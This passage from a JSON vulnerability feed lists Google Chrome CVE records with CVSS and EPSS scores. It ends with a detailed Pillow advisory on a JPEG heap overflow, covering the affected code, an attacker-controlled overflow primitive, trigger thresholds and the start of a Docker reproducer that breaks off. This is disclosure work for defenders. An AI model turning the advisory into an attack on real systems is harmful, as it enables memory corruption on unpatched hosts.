fixes.","publishedAt":"2026-10-20T22:19:00.610Z","updatedAt":"2026-10-22T23:18:26.167Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113089","asOf":"2026-10-22T23:18:26.167Z"},"epss":{"probability":0.00495,"percentile":0.42168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113089","type":"primary","publishedAt":"2026-10-20T22:19:00.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113089, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113084","cveId":"CVE-2026-113084","aliases":[],"kind":"vulnerability","title":"Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.050Z","updatedAt":"2026-10-22T23:18:26.007Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113084","asOf":"2026-10-22T23:18:26.007Z"},"epss":{"probability":0.00424,"percentile":0.36423,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113084","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113084","type":"primary","publishedAt":"2026-10-20T22:19:00.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113072","cveId":"CVE-2026-113072","aliases":[],"kind":"vulnerability","title":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.733Z","updatedAt":"2026-10-22T23:18:25.677Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113072","asOf":"2026-10-22T23:18:25.677Z"},"epss":{"probability":0.005,"percentile":0.42527,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113072&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113072","type":"primary","publishedAt":"2026-10-20T22:18:58.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113072&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113072, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113056","cveId":"CVE-2026-113056","aliases":[],"kind":"vulnerability","title":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.937Z","updatedAt":"2026-10-22T23:18:25.517Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113056","asOf":"2026-10-22T23:18:25.517Z"},"epss":{"probability":0.00466,"percentile":0.40048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113056&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113056","type":"primary","publishedAt":"2026-10-20T22:18:56.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113056&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113056, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113023","cveId":"CVE-2026-113023","aliases":[],"kind":"vulnerability","title":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.160Z","updatedAt":"2026-10-22T23:18:25.353Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113023","asOf":"2026-10-22T23:18:25.353Z"},"epss":{"probability":0.00495,"percentile":0.42167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113023","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113023","type":"primary","publishedAt":"2026-10-20T22:18:53.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113020","cveId":"CVE-2026-113020","aliases":[],"kind":"vulnerability","title":"Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.810Z","updatedAt":"2026-10-21T17:10:48.593Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113020","asOf":"2026-10-21T17:10:48.593Z"},"epss":{"probability":0.00495,"percentile":0.42167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113020","type":"primary","publishedAt":"2026-10-20T22:18:52.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113014","cveId":"CVE-2026-113014","aliases":[],"kind":"vulnerability","title":"Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.067Z","updatedAt":"2026-10-22T23:18:24.717Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113014","asOf":"2026-10-22T23:18:24.717Z"},"epss":{"probability":0.00495,"percentile":0.42167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113014","type":"primary","publishedAt":"2026-10-20T22:18:52.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113007","cveId":"CVE-2026-113007","aliases":[],"kind":"vulnerability","title":"Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.210Z","updatedAt":"2026-10-22T23:18:24.397Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113007","asOf":"2026-10-22T23:18:24.397Z"},"epss":{"probability":0.00466,"percentile":0.40047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113007&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113007","type":"primary","publishedAt":"2026-10-20T22:18:51.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113007&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113007, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112992","cveId":"CVE-2026-112992","aliases":[],"kind":"vulnerability","title":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:48.740Z","updatedAt":"2026-10-22T23:18:23.933Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112992","asOf":"2026-10-22T23:18:23.933Z"},"epss":{"probability":0.00466,"percentile":0.40048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112992","type":"primary","publishedAt":"2026-10-20T22:18:48.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112403","cveId":"CVE-2026-112403","aliases":["GHSA-8g5g-8vmr-9782"],"kind":"vulnerability","title":"Pillow: Heap buffer overflow in ImagingJpegDecode","summary":"`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.","detail":"## Summary\n\n`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n if (context->scale > 1) {\n context->cinfo.scale_num = 1;\n context->cinfo.scale_denom = context->scale;\n }\n ...\n case 2:\n if (!jpeg_start_decompress(&context->cinfo)) {\n break;\n }\n state->state++;\n /* fall through */\n case 3:\n ok = 1;\n while (state->y ysize) {\n ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);\n```\n\nBecause `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG 